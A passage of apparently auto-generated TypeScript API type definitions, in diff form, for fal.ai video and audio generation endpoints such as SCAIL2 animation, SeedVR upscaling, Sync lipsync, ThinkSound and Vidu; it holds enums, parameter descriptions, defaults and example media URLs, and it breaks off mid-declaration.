inputFalAiScail2SubjectTypeEnum = { + human: 'human', + animal: 'animal', +} as const + +export type InputFalAiScail2SubjectTypeEnumKey = + (typeof inputFalAiScail2SubjectTypeEnum)[keyof typeof inputFalAiScail2SubjectTypeEnum] + +export type InputFalAiScail2 = { + /** + * @description The prompt describing the final video to generate. + * @example A person dancing gracefully in a sunlit studio + * @type string + */ + prompt: string + /** + * @description `animation` animates the reference character with the driving motion. `replacement` replaces the driving subject with the reference character while keeping the original scene. + * @default 'animation' + * @type string | undefined + */ + mode?: InputFalAiScail2ModeEnumKey + /** + * @description Classifier-free guidance scale. Controls prompt adherence versus creativity. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Flow-matching noise schedule shift. 3.0 is recommended for the 512p tier. + * @minimum 1 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + shift?: number + /** + * @description URL of the driving (motion) video. The subject can be a human, multiple humans, or an animal. + * @example https://v3b.fal.media/files/b/panda/a6SvJg96V8eoglMlYFShU_5385885-hd_1080_1920_25fps.mp4 + * @type string + */ + video_url: string + /** + * @description URL of the reference character image. The character in this image is animated (or used to replace a subject) according to the driving video. + * @example https://v3b.fal.media/files/b/panda/-oMlZo9Yyj_Nzoza_tgds_GmLF86r5bOt50eMMKCszy_eacc949b3933443c9915a83c98fbe85e.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Driving signal for animation mode. `end_to_end` (default) drives directly from the SAM3-masked driving video and is the recommended, most robust path. `pose` renders an explicit NLF/DWPose skeleton from the driving video (more control for challenging inputs). + * @default 'end_to_end' + * @type string | undefined + */ + driving_type?: InputFalAiScail2DrivingTypeEnumKey + /** + * @description Random seed. Leave empty for a random seed. The seed used is returned in the response. + */ + seed?: number | null + /** + * @description Number of diffusion sampling steps. Higher improves quality but is slower. + * @minimum 2 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Output resolution. 512p outputs 896x512 (landscape) or 512x896 (portrait); 704p outputs 1280x704 or 704x1280. Orientation is chosen automatically from the reference image aspect ratio. + * @default '512p' + * @type string | undefined + */ + resolution?: InputFalAiScail2ResolutionEnumKey + /** + * @description Type of subject in the driving video. `animal` switches the SAM3 detection prompt to non-human subjects. + * @default 'human' + * @type string | undefined + */ + subject_type?: InputFalAiScail2SubjectTypeEnumKey +} + +export type File71612F6B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiScail2 = { + /** + * @description Debug (only when `output_preprocessing=true`): the Stage-A driving mask video. + */ + preprocessing_mask_video?: File71612F6B | null + /** + * @description The generated video file. + * @example {"file_size":1048576,"content_type":"video/mp4","file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/scail2-output.mp4"} + * @type object + */ + video: File71612F6B + /** + * @description Debug (only when `output_preprocessing=true`): the Stage-A pose-conditioning video fed to the diffusion model — the rendered NLF/DWPose skeleton for `driving_type=pose`, or the SAM3-masked driving video for `end_to_end`. + */ + preprocessing_video?: File71612F6B | null + /** + * @description The seed used to generate the video. + * @type integer + */ + seed: number +} + +export const inputFalAiSeedvrUpscaleVideoOutputFormatEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiSeedvrUpscaleVideoOutputFormatEnumKey = + (typeof inputFalAiSeedvrUpscaleVideoOutputFormatEnum)[keyof typeof inputFalAiSeedvrUpscaleVideoOutputFormatEnum] + +export const inputFalAiSeedvrUpscaleVideoUpscaleModeEnum = { + target: 'target', + factor: 'factor', +} as const + +export type InputFalAiSeedvrUpscaleVideoUpscaleModeEnumKey = + (typeof inputFalAiSeedvrUpscaleVideoUpscaleModeEnum)[keyof typeof inputFalAiSeedvrUpscaleVideoUpscaleModeEnum] + +export const inputFalAiSeedvrUpscaleVideoOutputQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiSeedvrUpscaleVideoOutputQualityEnumKey = + (typeof inputFalAiSeedvrUpscaleVideoOutputQualityEnum)[keyof typeof inputFalAiSeedvrUpscaleVideoOutputQualityEnum] + +export const inputFalAiSeedvrUpscaleVideoTargetResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputFalAiSeedvrUpscaleVideoTargetResolutionEnumKey = + (typeof inputFalAiSeedvrUpscaleVideoTargetResolutionEnum)[keyof typeof inputFalAiSeedvrUpscaleVideoTargetResolutionEnum] + +export const inputFalAiSeedvrUpscaleVideoOutputWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiSeedvrUpscaleVideoOutputWriteModeEnumKey = + (typeof inputFalAiSeedvrUpscaleVideoOutputWriteModeEnum)[keyof typeof inputFalAiSeedvrUpscaleVideoOutputWriteModeEnum] + +export type InputFalAiSeedvrUpscaleVideo = { + /** + * @description The format of the output video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + output_format?: InputFalAiSeedvrUpscaleVideoOutputFormatEnumKey + /** + * @description The input video to be processed + * @example https://storage.googleapis.com/falserverless/example_inputs/seedvr-input.mp4 + * @type string + */ + video_url: string + /** + * @description The mode to use for the upscale. If 'target', the upscale factor will be calculated based on the target resolution. If 'factor', the upscale factor will be used directly. + * @default 'factor' + * @type string | undefined + */ + upscale_mode?: InputFalAiSeedvrUpscaleVideoUpscaleModeEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The noise scale to use for the generation process. + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + noise_scale?: number + /** + * @description The quality of the output video. + * @default 'high' + * @type string | undefined + */ + output_quality?: InputFalAiSeedvrUpscaleVideoOutputQualityEnumKey + /** + * @description The target resolution to upscale to when `upscale_mode` is `target`. + * @default '1080p' + * @type string | undefined + */ + target_resolution?: InputFalAiSeedvrUpscaleVideoTargetResolutionEnumKey + /** + * @description The write mode of the output video. + * @default 'balanced' + * @type string | undefined + */ + output_write_mode?: InputFalAiSeedvrUpscaleVideoOutputWriteModeEnumKey + /** + * @description Upscaling factor to be used. Will multiply the dimensions with this factor when `upscale_mode` is `factor`. + * @minimum 1 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File45Bb0471 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiSeedvrUpscaleVideo = { + /** + * @description Upscaled video file after processing + * @example {"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/seedvr-output.mp4"} + * @type object + */ + video: File45Bb0471 + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number +} + +export const inputFalAiSyncLipsyncModelEnum = { + 'lipsync-1.8.0': 'lipsync-1.8.0', + 'lipsync-1.7.1': 'lipsync-1.7.1', + 'lipsync-1.9.0-beta': 'lipsync-1.9.0-beta', +} as const + +export type InputFalAiSyncLipsyncModelEnumKey = + (typeof inputFalAiSyncLipsyncModelEnum)[keyof typeof inputFalAiSyncLipsyncModelEnum] + +export const inputFalAiSyncLipsyncSyncModeEnum = { + cut_off: 'cut_off', + loop: 'loop', + bounce: 'bounce', + silence: 'silence', + remap: 'remap', +} as const + +export type InputFalAiSyncLipsyncSyncModeEnumKey = + (typeof inputFalAiSyncLipsyncSyncModeEnum)[keyof typeof inputFalAiSyncLipsyncSyncModeEnum] + +export type InputFalAiSyncLipsync = { + /** + * @description URL of the input audio + * @example https://fal.media/files/lion/vyFWygmZsIZlUO4s0nr2n.wav + * @type string + */ + audio_url: string + /** + * @description URL of the input video + * @example https://fal.media/files/koala/8teUPbRRMtAUTORDvqy0l.mp4 + * @type string + */ + video_url: string + /** + * @description The model to use for lipsyncing + * @default 'lipsync-1.9.0-beta' + * @type string | undefined + */ + model?: InputFalAiSyncLipsyncModelEnumKey + /** + * @description Lipsync mode when audio and video durations are out of sync. + * @default 'cut_off' + * @type string | undefined + */ + sync_mode?: InputFalAiSyncLipsyncSyncModeEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File18F8E664 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiSyncLipsync = { + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/rabbit/6gJV-z7RJsF0AxkZHkdgJ_output.mp4"} + * @type object + */ + video: File18F8E664 +} + +export const inputFalAiSyncLipsyncReact1EmotionEnum = { + happy: 'happy', + sad: 'sad', + angry: 'angry', + disgusted: 'disgusted', + surprised: 'surprised', + neutral: 'neutral', +} as const + +export type InputFalAiSyncLipsyncReact1EmotionEnumKey = + (typeof inputFalAiSyncLipsyncReact1EmotionEnum)[keyof typeof inputFalAiSyncLipsyncReact1EmotionEnum] + +export const inputFalAiSyncLipsyncReact1LipsyncModeEnum = { + cut_off: 'cut_off', + loop: 'loop', + bounce: 'bounce', + silence: 'silence', + remap: 'remap', +} as const + +export type InputFalAiSyncLipsyncReact1LipsyncModeEnumKey = + (typeof inputFalAiSyncLipsyncReact1LipsyncModeEnum)[keyof typeof inputFalAiSyncLipsyncReact1LipsyncModeEnum] + +export const inputFalAiSyncLipsyncReact1ModelModeEnum = { + lips: 'lips', + face: 'face', + head: 'head', +} as const + +export type InputFalAiSyncLipsyncReact1ModelModeEnumKey = + (typeof inputFalAiSyncLipsyncReact1ModelModeEnum)[keyof typeof inputFalAiSyncLipsyncReact1ModelModeEnum] + +export type InputFalAiSyncLipsyncReact1 = { + /** + * @description Controls the expresiveness of the lipsync. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + temperature?: number + /** + * @description URL to the input audio. Must be **15 seconds or shorter**. + * @example https://storage.googleapis.com/falserverless/example_inputs/react_1/input.mp3 + * @type string + */ + audio_url: string + /** + * @description Emotion prompt for the generation. Currently supports single-word emotions only. + * @example neutral + * @type string + */ + emotion: InputFalAiSyncLipsyncReact1EmotionEnumKey + /** + * @description URL to the input video. Must be **15 seconds or shorter**. + * @example https://storage.googleapis.com/falserverless/example_inputs/react_1/input.mp4 + * @type string + */ + video_url: string + /** + * @description Lipsync mode when audio and video durations are out of sync. + * @default 'bounce' + * @type string | undefined + */ + lipsync_mode?: InputFalAiSyncLipsyncReact1LipsyncModeEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Controls the edit region and movement scope for the model. Available options: + * - `lips`: Only lipsync using react-1 (minimal facial changes). + * - `face`: Lipsync + facial expressions without head movements. + * - `head`: Lipsync + facial expressions + natural talking head movements. + * @default 'face' + * @type string | undefined + */ + model_mode?: InputFalAiSyncLipsyncReact1ModelModeEnumKey +} + +export type VideoFile8D2B7998 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The height of the video + */ + height?: number | null +} + +export type OutputFalAiSyncLipsyncReact1 = { + /** + * @description The generated video with synchronized lip and facial movements. + * @example {"num_frames":169,"content_type":"video/mp4","file_name":"output.mp4","width":1920,"url":"https://storage.googleapis.com/falserverless/example_outputs/react_1/output.mp4","duration":7.041667,"fps":24,"height":1088} + * @type object + */ + video: VideoFile8D2B7998 +} + +export const inputFalAiSyncLipsyncV2ModelEnum = { + 'lipsync-2': 'lipsync-2', + 'lipsync-2-pro': 'lipsync-2-pro', +} as const + +export type InputFalAiSyncLipsyncV2ModelEnumKey = + (typeof inputFalAiSyncLipsyncV2ModelEnum)[keyof typeof inputFalAiSyncLipsyncV2ModelEnum] + +export const inputFalAiSyncLipsyncV2SyncModeEnum = { + cut_off: 'cut_off', + loop: 'loop', + bounce: 'bounce', + silence: 'silence', + remap: 'remap', +} as const + +export type InputFalAiSyncLipsyncV2SyncModeEnumKey = + (typeof inputFalAiSyncLipsyncV2SyncModeEnum)[keyof typeof inputFalAiSyncLipsyncV2SyncModeEnum] + +export type InputFalAiSyncLipsyncV2 = { + /** + * @description URL of the input audio + * @example https://fal.media/files/lion/vyFWygmZsIZlUO4s0nr2n.wav + * @type string + */ + audio_url: string + /** + * @description URL of the input video + * @example https://v3.fal.media/files/tiger/IugLCDJRIoGqvqTa-EJTr_3wg74vCqyNuQ-IiBd77MM_output.mp4 + * @type string + */ + video_url: string + /** + * @description The model to use for lipsyncing. `lipsync-2-pro` will cost roughly 1.67 times as much as `lipsync-2` for the same duration. + * @default 'lipsync-2' + * @type string | undefined + */ + model?: InputFalAiSyncLipsyncV2ModelEnumKey + /** + * @description Lipsync mode when audio and video durations are out of sync. + * @default 'cut_off' + * @type string | undefined + */ + sync_mode?: InputFalAiSyncLipsyncV2SyncModeEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDe2C969F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiSyncLipsyncV2 = { + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/kangaroo/WIhlgDEJbccwGwAsvL3vz_output.mp4"} + * @type object + */ + video: FileDe2C969F +} + +export const inputFalAiSyncLipsyncV2ProSyncModeEnum = { + cut_off: 'cut_off', + loop: 'loop', + bounce: 'bounce', + silence: 'silence', + remap: 'remap', +} as const + +export type InputFalAiSyncLipsyncV2ProSyncModeEnumKey = + (typeof inputFalAiSyncLipsyncV2ProSyncModeEnum)[keyof typeof inputFalAiSyncLipsyncV2ProSyncModeEnum] + +export type InputFalAiSyncLipsyncV2Pro = { + /** + * @description URL of the input audio + * @example https://storage.googleapis.com/falserverless/example_inputs/sync_v2_pro_audio_input.mp3 + * @type string + */ + audio_url: string + /** + * @description URL of the input video + * @example https://storage.googleapis.com/falserverless/example_inputs/sync_v2_pro_video_input.mp4 + * @type string + */ + video_url: string + /** + * @description Lipsync mode when audio and video durations are out of sync. + * @default 'cut_off' + * @type string | undefined + */ + sync_mode?: InputFalAiSyncLipsyncV2ProSyncModeEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileB3De1443 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiSyncLipsyncV2Pro = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/sync_v2_pro_output.mp4"} + * @type object + */ + video: FileB3De1443 +} + +export type Sync3ActiveSpeakerDetection = { + /** + * @description Reference point [x, y] on the speaker's face in frame_number. + */ + coordinates?: number[] | null + /** + * @description Whether to automatically detect and apply generation to the active speaker. + */ + auto_detect?: boolean | null + /** + * @description URL to a JSON file containing per-frame bounding boxes. + */ + bounding_boxes_url?: string | null + /** + * @description Whether to use Sync.so's active speaker detection v3. + */ + v3?: boolean | null + /** + * @description Base64 encoded face image for manual speaker selection. + */ + face_image?: string | null + /** + * @description Deprecated Sync.so option for active speaker detection v2. + */ + use_v2?: boolean | null + /** + * @description Frame index for manual speaker selection coordinates. + */ + frame_number?: number | null + /** + * @description Per-frame bounding boxes [x1, y1, x2, y2] for the detected face. + */ + bounding_boxes?: (number[] | null)[] | null +} + +export const sync3GenerationOptionsPrompt = { + happy: 'happy', + sad: 'sad', + angry: 'angry', + disgusted: 'disgusted', + surprised: 'surprised', + neutral: 'neutral', +} as const + +export type Sync3GenerationOptionsPromptKey = + (typeof sync3GenerationOptionsPrompt)[keyof typeof sync3GenerationOptionsPrompt] + +export const sync3GenerationOptionsSyncMode = { + cut_off: 'cut_off', + loop: 'loop', + bounce: 'bounce', + silence: 'silence', + remap: 'remap', +} as const + +export type Sync3GenerationOptionsSyncModeKey = + (typeof sync3GenerationOptionsSyncMode)[keyof typeof sync3GenerationOptionsSyncMode] + +export const sync3GenerationOptionsModelMode = { + lips: 'lips', + face: 'face', + head: 'head', + lipsync: 'lipsync', + emotion: 'emotion', + talking_head: 'talking_head', +} as const + +export type Sync3GenerationOptionsModelModeKey = + (typeof sync3GenerationOptionsModelMode)[keyof typeof sync3GenerationOptionsModelMode] + +export type Sync3GenerationOptions = { + /** + * @description Controls how expressive lipsync can be; 0 is least expressive, 1 is most expressive. Sync.so handles this natively for sync-3, so this option is ignored by sync-3. + */ + temperature?: number | null + /** + * @description Active speaker detection configuration for videos with multiple people. + */ + active_speaker_detection?: Sync3ActiveSpeakerDetection | null + /** + * @description Whether to detect occlusion during generation. Sync.so handles this automatically for sync-3, so this option is ignored by sync-3. + */ + occlusion_detection_enabled?: boolean | null + /** + * @description Emotion prompt for generation. This is a Sync.so option primarily used by react-1. + */ + prompt?: Sync3GenerationOptionsPromptKey | null + /** + * @description Defines how to handle duration mismatches between video and audio inputs. Overrides the top-level sync_mode when provided. + */ + sync_mode?: Sync3GenerationOptionsSyncModeKey | null + /** + * @description Edit region for the model. This is a Sync.so option primarily used by react-1. + */ + model_mode?: Sync3GenerationOptionsModelModeKey | null +} + +export const inputFalAiSyncLipsyncV3SyncModeEnum = { + cut_off: 'cut_off', + loop: 'loop', + bounce: 'bounce', + silence: 'silence', + remap: 'remap', +} as const + +export type InputFalAiSyncLipsyncV3SyncModeEnumKey = + (typeof inputFalAiSyncLipsyncV3SyncModeEnum)[keyof typeof inputFalAiSyncLipsyncV3SyncModeEnum] + +export type InputFalAiSyncLipsyncV3 = { + /** + * @description URL of the input audio + * @example https://fal.media/files/lion/vyFWygmZsIZlUO4s0nr2n.wav + * @type string + */ + audio_url: string + /** + * @description URL of the input video + * @example https://v3.fal.media/files/tiger/IugLCDJRIoGqvqTa-EJTr_3wg74vCqyNuQ-IiBd77MM_output.mp4 + * @type string + */ + video_url: string + /** + * @description Additional Sync.so generation options. If options.sync_mode is set, it overrides the top-level sync_mode field. + */ + options?: Sync3GenerationOptions | null + /** + * @description Lipsync mode when audio and video durations are out of sync. + * @default 'cut_off' + * @type string | undefined + */ + sync_mode?: InputFalAiSyncLipsyncV3SyncModeEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File4B1C8Cb0 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiSyncLipsyncV3 = { + /** + * @description The generated video + * @example {"url":"https://v3b.fal.media/files/b/0a93c312/TqKMiLtCcTKWSeAWXJRD0_output.mp4"} + * @type object + */ + video: File4B1C8Cb0 +} + +export type InputFalAiSyncLipsyncV3ImageToVideo = { + /** + * @description URL of the input audio. The output video matches its duration. + * @example https://fal.media/files/lion/vyFWygmZsIZlUO4s0nr2n.wav + * @type string + */ + audio_url: string + /** + * @description URL of the input image. sync-3 animates the face in the image so it lip-syncs to the provided audio (image-to-video). Supported image formats: JPEG, PNG and WebP. + * @example https://storage.googleapis.com/falserverless/example_inputs/echo-mimic-input-image.png + * @type string + */ + image_url: string + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File789Ff550 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiSyncLipsyncV3ImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://v3b.fal.media/files/b/0a93c312/TqKMiLtCcTKWSeAWXJRD0_output.mp4"} + * @type object + */ + video: File789Ff550 +} + +export type InputFalAiThinksound = { + /** + * @description A prompt to guide the audio generation. If not provided, it will be extracted from the video. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description The classifier-free guidance scale for audio generation. + * @minimum 1 + * @maximum 20 + * @default 5 + * @example 5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The seed for the random number generator + */ + seed?: number | null + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps for audio generation. + * @minimum 2 + * @maximum 100 + * @default 24 + * @example 24 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the video to generate the audio for. + * @example https://storage.googleapis.com/falserverless/example_inputs/thinksound-input.mp4 + * @type string + */ + video_url: string +} + +export type File427F98B5 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiThinksound = { + /** + * @description The generated video with audio. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/thinksound-output.mp4"} + * @type object + */ + video: File427F98B5 + /** + * @description The prompt used to generate the audio. + * @example An acoustic guitar being played indoors. + * @type string + */ + prompt: string +} + +export type InputFalAiThinksoundAudio = { + /** + * @description A prompt to guide the audio generation. If not provided, it will be extracted from the video. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description The classifier-free guidance scale for audio generation. + * @minimum 1 + * @maximum 20 + * @default 5 + * @example 5 + * @type number | undefined + */ + cfg_scale?: number + /** + * @description The seed for the random number generator + */ + seed?: number | null + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps for audio generation. + * @minimum 2 + * @maximum 100 + * @default 24 + * @example 24 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the video to generate the audio for. + * @example https://storage.googleapis.com/falserverless/example_inputs/thinksound-input.mp4 + * @type string + */ + video_url: string +} + +export type File20972630 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiThinksoundAudio = { + /** + * @description The generated audio file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/thinksound-audio.wav"} + * @type object + */ + audio: File20972630 + /** + * @description The prompt used to generate the audio. + * @example An acoustic guitar being played indoors. + * @type string + */ + prompt: string +} + +export type InputFalAiVideoUpscaler = { + /** + * @description The URL of the video to upscale + * @example https://storage.googleapis.com/falserverless/videos/_o3VmzjOytBwRjCVPFX6i_output.mp4 + * @type string + */ + video_url: string + /** + * @description Enable input safety checks. Disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description The scale factor + * @minimum 1 + * @maximum 8 + * @default 2 + * @type number | undefined + */ + scale?: number +} + +export type FileBebcc67B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiVideoUpscaler = { + /** + * @description The stitched video + * @example {"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/videos/h0jgPaO6AJAbyrsNYNbGl_upscaled_video.mp4"} + * @type object + */ + video: FileBebcc67B +} + +export const inputFalAiViduImageToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduImageToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduImageToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduImageToVideoMovementAmplitudeEnum] + +export type InputFalAiViduImageToVideo = { + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. She wears a black leather jacket, a long red dress, and black boots, and carries a black purse. + * @type string + */ + prompt: string + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/web-examples/vidu/stylish_woman.webp + * @type string + */ + image_url: string + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduImageToVideoMovementAmplitudeEnumKey +} + +export type File61Da5Bba = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/kangaroo/gzfzC5FXvcgZegQmy90L1_output.mp4"} + * @type object + */ + video: File61Da5Bba +} + +export const inputFalAiViduQ1ImageToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ1ImageToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ1ImageToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ1ImageToVideoMovementAmplitudeEnum] + +export type InputFalAiViduQ1ImageToVideo = { + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example The astronaut waved and the camera moved up. + * @type string + */ + prompt: string + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/vidu_i2v.jpg + * @type string + */ + image_url: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ1ImageToVideoMovementAmplitudeEnumKey +} + +export type File2F0348D1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ1ImageToVideo = { + /** + * @description The generated video using the Q1 model from a single image + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/vidu_i2v_output.mp4"} + * @type object + */ + video: File2F0348D1 +} + +export const inputFalAiViduQ1ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ1ReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiViduQ1ReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiViduQ1ReferenceToVideoAspectRatioEnum] + +export const inputFalAiViduQ1ReferenceToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ1ReferenceToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ1ReferenceToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ1ReferenceToVideoMovementAmplitudeEnum] + +export type InputFalAiViduQ1ReferenceToVideo = { + /** + * 